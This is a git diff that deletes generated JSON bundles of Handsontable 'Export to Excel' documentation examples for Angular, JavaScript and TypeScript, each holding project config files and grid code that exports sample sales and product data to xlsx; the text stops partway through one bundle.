a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example2',\n template: `\n
    \n
    \n \n
    \n
    \n\n

    Q1 Sales

    \n \n\n

    Q2 Sales

    \n \n `,\n})\nexport class AppComponent {\n @ViewChild('hotQ2', { static: false }) hotQ2!: HotTableComponent;\n @ViewChild(HotTableComponent, { static: false }) hotQ1!: HotTableComponent;\n\n readonly q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n ];\n\n readonly q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n ];\n\n readonly sharedSettings: GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n };\n\n async exportSheets(): Promise {\n const hotQ1 = this.hotQ1.hotInstance!;\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: this.hotQ2.hotInstance!, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example2.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json deleted file mode 100644 index e70a0511..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n \n `,\n})\nexport class AppComponent {\n readonly hotData = [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1', 'Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example3.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json deleted file mode 100644 index c6fc8a4d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data: [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ],\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [{ row: 5, col: 0, rowspan: 1, colspan: 2 }],\n customBorders: [\n {\n row: 5,\n col: 2,\n top: { width: 2, color: '#333333' },\n },\n ],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// Add a comment to Alice's notes cell.\nhot.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\nhot.render();\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file');\n\nbutton.addEventListener('click', async () => {\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example1.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json deleted file mode 100644 index 7053f020..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst hot = new Handsontable(container, {\n data: [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ],\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [\n { row: 5, col: 0, rowspan: 1, colspan: 2 },\n ],\n customBorders: [\n {\n row: 5, col: 2,\n top: { width: 2, color: '#333333' },\n },\n ],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// Add a comment to Alice's notes cell.\nhot.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\nhot.render();\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file')!;\n\nbutton.addEventListener('click', async () => {\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example1.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json deleted file mode 100644 index 36a4f90d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n

    Q1 Sales

    \n
    \n

    Q2 Sales

    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true],\n ['Bob Chen', 'East', 98500, true],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true],\n ['Bob Chen', 'East', 112400, true],\n ['Carol Davies', 'South', 89100, true],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true],\n];\n\nconst sharedConfig = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst hotQ1 = new Handsontable(document.querySelector('#example2-q1'), {\n ...sharedConfig,\n data: q1Data,\n});\n\nconst hotQ2 = new Handsontable(document.querySelector('#example2-q2'), {\n ...sharedConfig,\n data: q2Data,\n});\n\ndocument.querySelector('#export-sheets').addEventListener('click', async () => {\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example2.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json deleted file mode 100644 index bec69c33..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n

    Q1 Sales

    \n
    \n

    Q2 Sales

    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n];\n\nconst sharedConfig: Handsontable.GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst hotQ1 = new Handsontable(document.querySelector('#example2-q1')!, {\n ...sharedConfig,\n data: q1Data,\n});\n\nconst hotQ2 = new Handsontable(document.querySelector('#example2-q2')!, {\n ...sharedConfig,\n data: q2Data,\n});\n\ndocument.querySelector('#export-sheets')!.addEventListener('click', async () => {\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example2.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json deleted file mode 100644 index 5c90641c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"latest\"\n },\n 